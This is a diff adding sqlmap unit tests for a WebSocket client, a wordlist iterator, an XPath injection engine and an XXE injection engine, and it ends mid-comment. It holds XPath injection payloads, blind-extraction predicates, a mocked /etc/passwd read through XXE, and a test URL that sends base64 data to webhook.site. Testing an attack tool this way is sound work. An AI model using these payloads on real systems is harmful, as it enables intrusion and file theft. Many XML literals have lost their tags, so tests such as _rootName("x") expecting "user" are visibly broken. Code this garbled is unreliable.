_RaisingSock(object): + def __init__(self, exc): + self.exc = exc + def recv(self, n): + raise self.exc + + # both a plain socket timeout and Python 2's TLS 'read operation timed out' must surface as + # WebSocketTimeoutException (sqlmap's frame loop relies on it), while other SSL errors propagate + for exc in (_socket.timeout("timed out"), _ssl.SSLError("The read operation timed out")): + ws = _client(); ws.sock = _RaisingSock(exc) + self.assertRaises(WebSocketTimeoutException, ws.recv) + + ws = _client(); ws.sock = _RaisingSock(_ssl.SSLError("decryption failed")) + self.assertRaises(_ssl.SSLError, ws.recv) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_wordlist.py b/tests/test_wordlist.py new file mode 100644 index 00000000000..9b6d842a45c --- /dev/null +++ b/tests/test_wordlist.py @@ -0,0 +1,96 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Wordlist iterator (lib/core/wordlist.py). + +Backs dictionary attacks (--common-tables, password cracking, brute force): a +lazy iterator that streams words across one or more files (and zip archives) +without loading them into RAM. Tested for ordering, multi-file chaining, +rewind, and end-of-stream behavior over real temp files. +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.wordlist import Wordlist + + +def _mkfile(lines): + fd, path = tempfile.mkstemp() + os.write(fd, ("\n".join(lines) + "\n").encode("utf-8")) + os.close(fd) + return path + + +def _w(s): + # Wordlist yields native str on py2 but bytes on py3 (words are fed straight into HTTP payloads) + return s.encode("utf-8") if sys.version_info[0] >= 3 else s + + +def _drain(w): + out = [] + try: + while True: + out.append(next(w)) + except StopIteration: + pass + return out + + +class TestWordlist(unittest.TestCase): + def setUp(self): + self.paths = [] + self.wordlists = [] + + def tearDown(self): + for w in self.wordlists: # close open file handles (else ResourceWarning on py3) + try: + w.closeFP() + except Exception: + pass + for p in self.paths: + if os.path.exists(p): + os.remove(p) + + def _mk(self, lines): + p = _mkfile(lines) + self.paths.append(p) + return p + + def _wl(self, files): + w = Wordlist(files) + self.wordlists.append(w) + return w + + def test_single_file_order(self): + w = self._wl([self._mk(["alpha", "beta", "gamma"])]) + self.assertEqual(_drain(w), [_w("alpha"), _w("beta"), _w("gamma")]) + + def test_multiple_files_chained(self): + w = self._wl([self._mk(["a", "b"]), self._mk(["c", "d"])]) + self.assertEqual(_drain(w), [_w("a"), _w("b"), _w("c"), _w("d")]) + + def test_rewind_restarts(self): + w = self._wl([self._mk(["one", "two"])]) + self.assertEqual(next(w), _w("one")) + self.assertEqual(next(w), _w("two")) + w.rewind() + self.assertEqual(next(w), _w("one")) + + def test_end_raises_stopiteration(self): + w = self._wl([self._mk(["only"])]) + self.assertEqual(next(w), _w("only")) + self.assertRaises(StopIteration, lambda: next(w)) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_xpath.py b/tests/test_xpath.py new file mode 100644 index 00000000000..e65ac126162 --- /dev/null +++ b/tests/test_xpath.py @@ -0,0 +1,559 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XPath injection engine. Mock oracles stand in for the +HTTP/lxml layer so detection, fingerprinting, blind inference, payload building, and output +formatting can be exercised without a live target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xpath.inject as xpath + + +SENTINEL = xpath.SENTINEL + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(xpath._ratio("abc", "abc"), 0.9) + self.assertLess(xpath._ratio("abc", "xyz"), 0.5) + + def test_delim(self): + from lib.core.enums import PLACE + self.assertEqual(xpath._delim(PLACE.GET), '&') + self.assertEqual(xpath._delim(PLACE.COOKIE), ';') + + def test_is_error(self): + self.assertTrue(xpath._isError("javax.xml.xpath.XPathExpressionException: error")) + self.assertTrue(xpath._isError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertFalse(xpath._isError("normal page content")) + + def test_backend_from_error(self): + self.assertIsNotNone(xpath._backendFromError("lxml.etree.XPathEvalError: Invalid expression")) + self.assertIsNotNone(xpath._backendFromError("System.Xml.XPath.XPathException: has an invalid token")) + self.assertIsNone(xpath._backendFromError("normal page")) + + def test_is_password_param(self): + self.assertTrue(xpath._isPasswordParam("password")) + self.assertTrue(xpath._isPasswordParam("pass")) + self.assertFalse(xpath._isPasswordParam("username")) + + def test_xpath_quote(self): + self.assertEqual(xpath._xpathQuote("hello"), "'hello'") + self.assertEqual(xpath._xpathQuote("it's"), "\"it's\"") + self.assertEqual(xpath._xpathQuote('say "hi"'), "'say \"hi\"'") + both = "it's \"great\"" + q = xpath._xpathQuote(both) + self.assertIn("concat", q) + + def test_make_payload_with_suffix(self): + b = xpath.Boundary("') or ", " or ('", True) + p = xpath._makePayload("x", b, "starts-with(name(/*),'d')") + self.assertEqual(p, "x') or starts-with(name(/*),'d') or ('") + + def test_make_payload_no_suffix(self): + b = xpath.Boundary("' or ", "", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1") + + def test_make_payload_with_suffix_only(self): + b = xpath.Boundary("' or ", " and '1'='1", True) + p = xpath._makePayload("x", b, "1=1") + self.assertEqual(p, "x' or 1=1 and '1'='1") + + +class TestBoundaryTable(unittest.TestCase): + def test_all_entries_in_boundary_lookup(self): + for bk in xpath.XPATH_BREAKOUT_PREFIXES: + self.assertIn(bk, xpath._BREAKOUT_BOUNDARY, + "Breakout '%s' not found in _BREAKOUT_BOUNDARY" % bk) + + def test_function_arg_boundaries_are_extractable(self): + for bk in ("') or true() or ('", "') or '1'='1' or ('", "') or 1=1 or ('"): + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + self.assertTrue(len(b.prefix) > 0) + self.assertTrue(len(b.suffix) > 0) + + def test_simple_string_boundaries_have_suffix(self): + for bk in ("' or '1'='1", "' or true() or '", "' or 1=1 or '", + '" or "1"="1', '" or true() or "'): + b = xpath._BREAKOUT_BOUNDARY[bk] + if b is not None: + self.assertTrue(b.extractable) + self.assertTrue(len(b.suffix) > 0, + "Simple string breakout '%s' needs a suffix to absorb the trailing quote" % bk) + + def test_union_wildcard_is_not_extractable(self): + b = xpath._BREAKOUT_BOUNDARY.get("']|//*|test['") + self.assertIsNone(b, "Union wildcard must not have an extraction boundary") + + def test_numeric_has_leading_space(self): + for bk in (" or 1=1", " or true()"): + self.assertTrue(bk.startswith(" "), + "Numeric breakout '%s' needs leading whitespace" % bk) + b = xpath._BREAKOUT_BOUNDARY[bk] + self.assertTrue(b.extractable) + + def test_all_extractable_have_prefix(self): + for bk, b in xpath._BREAKOUT_BOUNDARY.items(): + if b is not None: + self.assertTrue(len(b.prefix) > 0, + "Extractable boundary for '%s' needs a prefix" % bk) + + +class TestPayloadBuilder(unittest.TestCase): + def setUp(self): + self.boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + self.builder = xpath._XPathPayloadBuilder("x", self.boundary) + + def test_name_starts_with(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertIn("starts-with(name(/*)", p) + self.assertIn("'d'", p) + + def test_name_length(self): + p = self.builder.nameLength("/*", 9) + self.assertIn("string-length(name(/*))=9", p) + + def test_child_count(self): + p = self.builder.childCount("/*", 3) + self.assertIn("count(/*/*)>=3", p) + + def test_attribute_count(self): + p = self.builder.attributeCount("/*[1]", 2) + self.assertIn("count(/*[1]/@*)>=2", p) + + def test_text_starts_with(self): + p = self.builder.textStartsWith("/*[1]/*[1]", "lut") + self.assertIn("starts-with(string(/*[1]/*[1])", p) + + def test_empty_prefix(self): + p = self.builder.nameStartsWith("/*", "") + self.assertIn("''", p) + + def test_uses_boundary_not_hardcoded(self): + p = self.builder.nameStartsWith("/*", "d") + self.assertNotIn("contains(username", p) + self.assertIn("x') or ", p) + self.assertIn(" or ('", p) + + def test_simple_string_boundary_builder(self): + b = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + builder = xpath._XPathPayloadBuilder("x", b) + p = builder.nameStartsWith("/*", "d") + self.assertIn("x' or ", p) + self.assertIn(" and '1'='1", p) + + +class TestBooleanDetection(unittest.TestCase): + def setUp(self): + self.original_send = xpath._send + + def tearDown(self): + xpath._send = self.original_send + + def test_false_page_must_be_reproducible(self): + # True is stable, false changes every time -> no oracle + true_calls = [0] + + def mock(place, parameter, value): + if "true()" in value: + return "true-page" + elif "false()" in value: + true_calls[0] += 1 + return "false-page-%d" % true_calls[0] + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNone(template) + + def test_detection_returns_extractable_boundary(self): + def mock(place, parameter, value): + # faithful XPath engine: string-length('ab')=2 holds (XPath-only confirm the detector + # now requires), =3 does not; plus the true()/false() the break-out probes with + m = re.search(r"string-length\('ab'\)=(\d+)", value) + if m: + return '{"count":7,"entries":[{...}]}' if int(m.group(1)) == 2 else '{"count":0,"entries":[],"error":null}' + if "true()" in value: + return '{"count":7,"entries":[{...}]}' + elif "false()" in value: + return '{"count":0,"entries":[],"error":null}' + return "default" + + xpath._send = mock + template, payload, boundary = xpath._detectBoolean("GET", "q") + self.assertIsNotNone(template) + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + +class TestGridAndTable(unittest.TestCase): + def test_grid(self): + columns = ["Path", "Element", "Value"] + rows = [["/*", "root", ""], ["/*[1]", "child", "text"]] + grid = xpath._grid(columns, rows) + self.assertIn("Path", grid) + self.assertIn("root", grid) + + def test_grid_empty(self): + grid = xpath._grid([], []) + self.assertIn("+", grid) + + def test_tree_to_table(self): + node = { + "name": "directory", "path": "/*", + "children": [{"name": "user", "path": "/*[1]", "children": [], + "attributes": [{"name": "id", "value": "1"}], "text": None}], + "attributes": [], "text": None, + } + columns, rows = xpath._treeToTable(node) + self.assertIn("Path", columns) + self.assertGreater(len(rows), 0) + + +class TestExtractionCalibration(unittest.TestCase): + def test_xpath_or_boundary_calibrates_with_sentinel_base(self): + # for an OR-style boundary the extraction base is SENTINEL (not the original), and _makeOracle + # must calibrate its true()/false() models on THAT base so they match the extraction payloads + from lib.core.enums import PLACE + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + self.assertEqual(xpath._extractionBase("origvalue", orBoundary), xpath.SENTINEL) + + sent = [] + + def spy(place, parameter, value): + sent.append(value) + return "TRUE-model-page" if "true()" in value else "FALSE-model-page" + + old = xpath._send + xpath._send = spy + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, xpath._extractionBase("origvalue", orBoundary)) + finally: + xpath._send = old + self.assertIsNotNone(oracle) + self.assertTrue(sent) + self.assertTrue(all(xpath.SENTINEL in p for p in sent), "calibration used a non-sentinel base: %r" % sent) + self.assertFalse(any("origvalue" in p for p in sent)) + + def test_transient_failure_on_true_bit_is_not_a_false_bit(self): + # A timeout/5xx on a TRUE predicate must NOT be cached as a false bit: resolveBit re-sends and + # recovers the correct TRUE, and a PERSISTENT failure aborts (InconclusiveError), never False. + from lib.core.enums import PLACE + from lib.utils.nonsql import InconclusiveError + orBoundary = xpath.Boundary("' or ", " and '1'='1", True) + base = xpath._extractionBase("x", orBoundary) + + state = {"armed": False, "failed": set()} + + def flaky(place, parameter, value): + page = "TRUE-model-page" if "true()" in value else "FALSE-model-page" + # once armed (post-build), the FIRST send of each probe fails transiently, then recovers + if state["armed"] and value not in state["failed"]: + state["failed"].add(value) + return None + return page + + old = xpath._send + xpath._send = flaky + try: + xpath.conf.parameters = {PLACE.GET: "q=x"} + xpath.conf.paramDict = {PLACE.GET: {"q": "x"}} + oracle = xpath._makeOracle(PLACE.GET, "q", orBoundary, base) # calibrates cleanly + self.assertIsNotNone(oracle) + + # a fresh TRUE probe whose FIRST send fails transiently must resolve to True (retry), never False + probe = xpath._makePayload(base, orBoundary, "true()") + "[1]" + state["armed"] = True + self.assertTrue(oracle.extract(probe)) + + # a PERSISTENTLY failing probe must raise InconclusiveError, never return False + xpath._send = lambda place, parameter, value: None + self.assertRaises(InconclusiveError, oracle.extract, probe + "Z") + finally: + xpath._send = old + + +class TestExtraction(unittest.TestCase): + def test_infer_value_mock(self): + expected = "directory" + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"""starts-with\(name\(/\*\),'([^']*)'\)""", payload) + return expected.startswith(m.group(1)) if m else False + + oracle = MockOracle() + result = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=20) + self.assertEqual(result, expected) + + def test_infer_count(self): + expected = 3 + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class MockOracle(object): + def extract(self, payload): + import re + m = re.search(r"count\(/\*/\*\)>=(\d+)", payload) + if m: + return int(m.group(1)) <= expected + return False + + oracle = MockOracle() + result = xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), + maxCount=8) + self.assertEqual(result, expected) + + def test_infer_string_binary_search(self): + # Drive the binary-search extractor through real lxml evaluation of the + # boundary-wrapped predicates against _XML and confirm exact recovery. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + # Absolute targets are resolved the same way the live tree-walk would. + self.assertEqual(xpath._inferString(oracle, builder, "name(/*)", maxLen=32), "directory") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/name)", maxLen=32), "luther") + self.assertEqual(xpath._inferString(oracle, builder, "string(//user[1]/@id)", maxLen=32), "1") + + def test_infer_string_matches_linear(self): + # The fast extractor must agree with the legacy linear extractor. + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class MockOracle(object): + def extract(self, payload): + return _xpath_eval(template, payload) > 0 + + oracle = MockOracle() + fast = xpath._inferString(oracle, builder, "name(/*)", maxLen=32) + linear = xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), + maxLen=32) + self.assertEqual(fast, linear) + + def test_inconclusive_oracle_aborts_value_not_fabricates(self): + # An oracle that stays INCONCLUSIVE (raises InconclusiveError, as resolveBit does after + # retries) must abort the value cleanly - _inferString returns None and _inferCount returns + # None (unknown) - rather than emitting a length/char/count chosen from an ambiguous bit. + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + + class InconclusiveOracle(object): + def extract(self, payload): + raise InconclusiveError() + + oracle = InconclusiveOracle() + self.assertIsNone(xpath._inferString(oracle, builder, "name(/*)", maxLen=32)) + # inconclusive count must be None (unknown), NEVER 0 - 0 would read as a leaf and fabricate text + self.assertIsNone(xpath._inferCount(oracle, builder, "/*", + lambda b, p, c: b.childCount(p, c), maxCount=8)) + self.assertIsNone(xpath._inferValue(oracle, builder, "/*", + lambda b, p, prefix: b.nameStartsWith(p, prefix), maxLen=32)) + + def test_walk_tree_marks_partial_and_does_not_fabricate_text_on_unknown_count(self): + # name resolves (real lxml eval), but every child/attribute COUNT probe is inconclusive: the + # node must be marked partial, must NOT be treated as a leaf (no fabricated scalar text), and + # must not iterate phantom children + from lib.utils.nonsql import InconclusiveError + boundary = xpath._BREAKOUT_BOUNDARY["') or true() or ('"] + builder = xpath._XPathPayloadBuilder("x", boundary) + template = _XPATH_TEMPLATES["function_arg"] + + class PartialCountOracle(object): + def extract(self, payload): + if "count(" in payload: + raise InconclusiveError() # child/attribute counts are ambiguous + return _xpath_eval(template, payload) > 0 # names/strings resolve normally + + node = xpath._walkTree(PartialCountOracle(), builder, "/*") + self.assertIsNotNone(node) + self.assertEqual(node["name"], "directory") + self.assertTrue(node["partial"]) + self.assertIsNone(node["text"]) # unknown child count must NOT fabricate leaf text + self.assertEqual(node["children"], []) + + +class TestBackendFingerprint(unittest.TestCase): + def test_lxml(self): + page = "lxml.etree.XPathEvalError: Invalid expression" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + self.assertIn("lxml", backend) + + def test_java_jaxp(self): + page = "javax.xml.xpath.XPathExpressionException: A location path was expected" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_dotnet(self): + page = "System.Xml.XPath.XPathException: Expression must evaluate to a node-set" + backend = xpath._backendFromError(page) + self.assertIsNotNone(backend) + + def test_no_error(self): + page = "Normal page with user data" + backend = xpath._backendFromError(page) + self.assertIsNone(backend) + + +# --- Real XPath syntax validation (lxml) --------------------------------------- + +_XML = b"""lutherfluffy""" + +_XPATH_TEMPLATES = { + "function_arg": "//user[contains(name,'%s')]", + "single_quoted": "//user[name='%s']", + "double_quoted": '//user[name="%s"]', + "numeric": "//user[position()=%s]", + "bare_predicate": "//user[%s]", +} + + +def _xpath_eval(template, payload): + """Evaluate an XPath expression against _XML, return the match count.""" + try: + from lxml import etree + except ImportError: + raise unittest.SkipTest("lxml not available") + root = etree.fromstring(_XML) + expr = template % payload + return len(root.xpath(expr)) + + +class TestRealXPathSyntax(unittest.TestCase): + """Verify that detection payloads and extraction predicates are syntactically + valid XPath and produce the expected boolean results.""" + + @staticmethod + def _count(template, payload): + return _xpath_eval(template, payload) + + def _test_family(self, template_key, true_breakout, false_breakout, boundary_key, original="x"): + template = _XPATH_TEMPLATES[template_key] + boundary = xpath._BREAKOUT_BOUNDARY[boundary_key] + self.assertIsNotNone(boundary) + self.assertTrue(boundary.extractable) + + # Detection payloads must be syntactically valid and yield true/false + truePayload = original + true_breakout + falsePayload = original + false_breakout + self.assertGreater(self._count(template, truePayload), 0, + "True payload '%s' should match at least one node" % truePayload) + self.assertEqual(self._count(template, falsePayload), 0, + "False payload '%s' should match no nodes" % falsePayload) + + # Extraction predicate must be valid and change the result truthfully + self.assertIsNotNone(xpath._XPathPayloadBuilder(original, boundary)) + truePred = xpath._makePayload(original, boundary, "true()") + falsePred = xpath._makePayload(original, boundary, "false()") + self.assertGreater(self._count(template, truePred), 0, + "Extraction true predicate must match") + self.assertEqual(self._count(template, falsePred), 0, + "Extraction false predicate must not match") + + def test_function_arg_family(self): + self._test_family("function_arg", + "') or true() or ('", "') and false() and ('", + "') or true() or ('") + + def test_single_quoted_family(self): + self._test_family("single_quoted", + "' or '1'='1", "' and '1'='2", + "' or '1'='1") + + def test_double_quoted_family(self): + self._test_family("double_quoted", + '" or "1"="1', '" and "1"="2', + '" or "1"="1') + + def test_numeric_family(self): + self._test_family("numeric", + " or 1=1", " and 1=2", + " or 1=1", original="1") + + def test_bare_predicate_family(self): + self._test_family("bare_predicate", + " or true()", " and false()", + " or true()", original="1") + + def test_function_arg_second_variant(self): + self._test_family("function_arg", + "') or '1'='1' or ('", "') and '1'='2' and ('", + "') or '1'='1' or ('") + + def test_single_quoted_with_matching_original(self): + """When the original value matches a record (name='luther'), OR-style + extraction with 'and' suffix is still decisive because the engine uses + a non-matching sentinel base for tree-walking.""" + boundary = xpath._BREAKOUT_BOUNDARY["' or '1'='1"] + # Simulate what xpathScan() does: use a sentinel as base for OR-style + sentinel = "zzznotpresent" + self.assertIsNotNone(xpath._XPathPayloadBuilder(sentinel, boundary)) + truePred = xpath._makePayload(sentinel, boundary, "true()") + falsePred = xpath._makePayload(sentinel, boundary, "false()") + tpl = _XPATH_TEMPLATES["single_quoted"] + self.assertGreater(self._count(tpl, truePred), 0, + "OR extraction must match with sentinel base + true predicate") + self.assertEqual(self._count(tpl, falsePred), 0, + "OR extraction must not match with sentinel base + false predicate") + + def test_all_extractable_boundaries_have_valid_extraction(self): + # Match each boundary to an appropriate template and original value. + _CONTEXT = { + "') or true() or ('": ("function_arg", "x"), + "') or '1'='1' or ('": ("function_arg", "x"), + "') or 1=1 or ('": ("function_arg", "x"), + '") or true() or ("': ("function_arg", "x"), + "' or '1'='1": ("single_quoted", "x"), + "' or true() or '": ("single_quoted", "x"), + "' or 1=1 or '": ("single_quoted", "x"), + "' and '1'='1": ("single_quoted", "x"), + '" or "1"="1': ("double_quoted", "x"), + '" or true() or "': ("double_quoted", "x"), + " or 1=1": ("numeric", "999"), + " or true()": ("bare_predicate", "999"), + } + for bk, boundary in xpath._BREAKOUT_BOUNDARY.items(): + if boundary is None or not boundary.extractable: + continue + tkey, original = _CONTEXT.get(bk, ("function_arg", "x")) + template = _XPATH_TEMPLATES[tkey] + payload = xpath._makePayload(original, boundary, "true()") + try: + count = self._count(template, payload) + except unittest.SkipTest: + raise # lxml unavailable -> skip cleanly; SkipTest is an Exception, so the broad except below would otherwise mask it into a failure + except Exception as e: + self.fail("Boundary '%s' in '%s' with orig='%s' invalid: %s\n payload: %s" % (bk, tkey, original, e, payload)) + self.assertIsInstance(count, int, + "Boundary '%s' in '%s' produced no count" % (bk, tkey)) diff --git a/tests/test_xxe.py b/tests/test_xxe.py new file mode 100644 index 00000000000..48ef5301631 --- /dev/null +++ b/tests/test_xxe.py @@ -0,0 +1,518 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the XXE injection engine. Pure helpers are exercised +directly; detection tiers run against a mocked _send() so reflected/error/echo oracles +can be simulated without a live target; and crafted payloads are parsed with real lxml +to prove they are well-formed and actually expand the injected entity. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.xxe.inject as xxe +from lib.core.data import conf +from lib.core.data import kb + + +class TestLooksXmlAndClean(unittest.TestCase): + def test_looks_xml(self): + self.assertTrue(xxe._looksXml("x")) + self.assertTrue(xxe._looksXml(" ")) + self.assertFalse(xxe._looksXml("id=1&name=x")) + self.assertFalse(xxe._looksXml("{\"a\": 1}")) + self.assertFalse(xxe._looksXml("")) + + def test_clean_body_strips_marks_and_bom(self): + conf.data = u"\ufeffluther%s" % (kb.customInjectionMark or "*") + cleaned = xxe._cleanBody() + self.assertFalse(cleaned.startswith(u"\ufeff")) + self.assertNotIn(kb.customInjectionMark or "*", cleaned) + self.assertTrue(cleaned.startswith("")) + + +class TestRootName(unittest.TestCase): + def test_plain(self): + self.assertEqual(xxe._rootName("x"), "user") + + def test_with_prolog_and_comment(self): + self.assertEqual(xxe._rootName("x"), "order") + + def test_namespaced(self): + self.assertEqual(xxe._rootName(''), "soap:Envelope") + + def test_existing_doctype_skipped(self): + self.assertEqual(xxe._rootName(''), "user") + + +class TestBuildDoctype(unittest.TestCase): + SUBSET = '' + + def test_no_doctype_prepended(self): + out = xxe._buildDoctype("x", "r", self.SUBSET) + self.assertIn("x", "r", self.SUBSET) + self.assertLess(out.index("]>x", "r", self.SUBSET) + self.assertEqual(out.count("x', "r", self.SUBSET) + self.assertEqual(out.count("' inside a quoted entity value must not fool the internal-subset splice + out = xxe._buildDoctype('y">]>z', "r", self.SUBSET) + self.assertEqual(out.count("z', "r", self.SUBSET) + self.assertEqual(out.count("' sequence inside a quoted entity value must NOT be taken as the subset close - the + # splice still lands inside the real internal subset and produces a single valid DOCTYPE + xml = 'y">]>z' + out = xxe._buildDoctype(xml, "r", self.SUBSET) + self.assertEqual(out.count("z")) + + +class TestScanDoctype(unittest.TestCase): + """Lexical DOCTYPE scanner: boundaries must be immune to quoted '>', comments and ']>' in values.""" + + def test_no_doctype(self): + self.assertIsNone(xxe._scanDoctype("x")) + + def test_content_start_skips_doctype_with_quoted_bracket(self): + # ']>' inside the entity value is NOT the subset end; content starts after the REAL '>' + xml = 'trap">]>real' + cs = xxe._contentStart(xml) + self.assertEqual(xml[cs:], "real") + + def test_content_start_skips_doctype_with_comment(self): + xml = ' not the end -->]>real' + self.assertEqual(xml[xxe._contentStart(xml):], "real") + + def test_text_node_count_ignores_dtd_bracket_in_value(self): + # the '>text<'-looking fragment is inside the DTD entity value, not a body text node + xml = 'x">]>luther' + self.assertEqual(xxe._textNodeCount(xml), 1) # only luther + + +class TestPlaceRef(unittest.TestCase): + def test_single_node_preserves_others(self): + # ONE location per call - every OTHER value stays intact (no whole-document destruction) + out = xxe._placeRef("

    onetwo

    ", "&e;") + self.assertEqual(out.count("&e;"), 1) + self.assertIn("&e;", out) # default: first text node + self.assertIn("two", out) # second field preserved + + def test_index_sweeps_each_node(self): + xml = "

    onetwo

    " + self.assertEqual(xxe._textNodeCount(xml), 2) + out1 = xxe._placeRef(xml, "&e;", index=1) + self.assertIn("&e;    ", out1) # second text node targeted + self.assertIn("one", out1) # first field preserved + + def test_attribute_seeded_only_as_fallback(self): + noText = '' # no leaf text node + self.assertNotIn('="&e;"', xxe._placeRef(noText, "&e;")) # attrs off -> no seeding + self.assertIn('="&e;"', xxe._placeRef(noText, "&e;", attrs=True)) # attrs on -> one attr seeded + withText = 'luther' + seeded = xxe._placeRef(withText, "&e;", attrs=True) + self.assertIn(">&e;<", seeded) # text node preferred over attr + self.assertIn('id="1"', seeded) # attribute preserved + + def test_xmlns_preserved(self): + out = xxe._placeRef('x', "&e;", attrs=True) + self.assertIn('xmlns:soap="ns"', out) # namespace decl untouched + + def test_self_closing_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + self.assertIn("", out) + + def test_empty_element_fallback(self): + out = xxe._placeRef("", "&e;") + self.assertIn("&e;", out) + + +class TestGuards(unittest.TestCase): + def test_echoed(self): + self.assertTrue(xxe._echoed("... xxemarkzzzzother", "&e;") + self.assertIn("&e;", out) + self.assertIn("other", out) # other node left intact + self.assertNotIn("xxemarkzzzz", out) + + def test_clean_body_sets_marker_on_user_marks(self): + conf.data = "luther%s" % (kb.customInjectionMark or "*") + kb.processUserMarks = True + try: + cleaned = xxe._cleanBody() + self.assertIsNotNone(xxe._MARKER) + self.assertIn(xxe._MARKER, cleaned) + finally: + kb.processUserMarks = False + xxe._MARKER = None + + +class TestReportMethod(unittest.TestCase): + def test_report_uses_conf_method(self): + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False + try: + xxe._report("Title", "Payload") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("Parameter: XML body (PUT)", captured[0]) + self.assertIn("Type: XXE injection", captured[0]) # default vuln type + + def test_xxe_internal_entity_is_not_reported_as_xxe(self): + # internal-only general-entity expansion is a parser-configuration weakness, NOT confirmed + # XXE (which needs external resolution) - it must carry a distinct, weaker vuln type + captured = [] + + class _Dumper(object): + def singleString(self, data, content_type=None): + captured.append(data) + + old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep") + conf.dumper, conf.method, conf.beep = _Dumper(), "POST", False + try: + xxe._report("DTD/internal general entity expansion enabled", "&e;", vulnType="XML parser configuration") + finally: + conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep + self.assertIn("Type: XML parser configuration", captured[0]) + self.assertNotIn("Type: XXE injection", captured[0]) + + +class TestHarvestFiles(unittest.TestCase): + def test_harvest_collects_dedups_and_skips_empty(self): + # simulate a target that returns real content for two files, an empty read for + # one (skipped), and an identical stub for the rest (deduped to a single entry) + def _fake(xml, rootName, path): + if path == "/etc/passwd": + return "root:x:0:0:root:/root:/bin/sh\n", "PAYLOAD-passwd" + if path == "/etc/hostname": + return "host01\n", "PAYLOAD-hostname" + if path == "/etc/hosts": + return " ", "PAYLOAD-empty" # whitespace-only -> skipped + return "same stub", "PAYLOAD-stub" # identical for every other path -> deduped + + old = xxe._tryInbandFileRead + xxe._tryInbandFileRead = _fake + try: + harvested = xxe._harvestFiles("x", "user") + finally: + xxe._tryInbandFileRead = old + + paths = [p for p, _, _ in harvested] + self.assertIn("/etc/passwd", paths) + self.assertIn("/etc/hostname", paths) + self.assertNotIn("/etc/hosts", paths) # empty read skipped + self.assertEqual(paths.count("/etc/passwd"), 1) + self.assertEqual(sum(1 for c in (c for _, c, _ in harvested) if c == "same stub"), 1) # stub deduped + + +class TestOobBase64Capture(unittest.TestCase): + def test_path_capture_survives_plus_slash_equals(self): + import base64 + from lib.core.convert import getText, decodeBase64 + marker = "mk12345678" + raw = b">>>\xff\xfe some + / = data ==" + blob = getText(base64.b64encode(raw)) + self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present + url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH + m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url) + self.assertIsNotNone(m) + self.assertEqual(m.group(1), blob) + self.assertEqual(decodeBase64(m.group(1)), raw) + + +class TestDetectionMocked(unittest.TestCase): + def setUp(self): + self._send = xxe._send + xxe.SENTINEL = "sentineltoken1" + + def tearDown(self): + xxe._send = self._send + + def test_internal_reflected_positive(self): + xxe._send = lambda body: "Hello, %s! (parsed)" % xxe.SENTINEL + payload, _ = xxe._tryInternal("luther", "u", baseline="Hello, luther!") + self.assertIsNotNone(payload) + + def test_inband_read_rejects_html_escaped_entity_reflection(self): + # the app HTML-escapes the reflected entity reference (&;) between the markers: that is + # reflection, NOT an expanded file read - the random entity name survives de-escaping, so it + # must be rejected (the P0-5 false 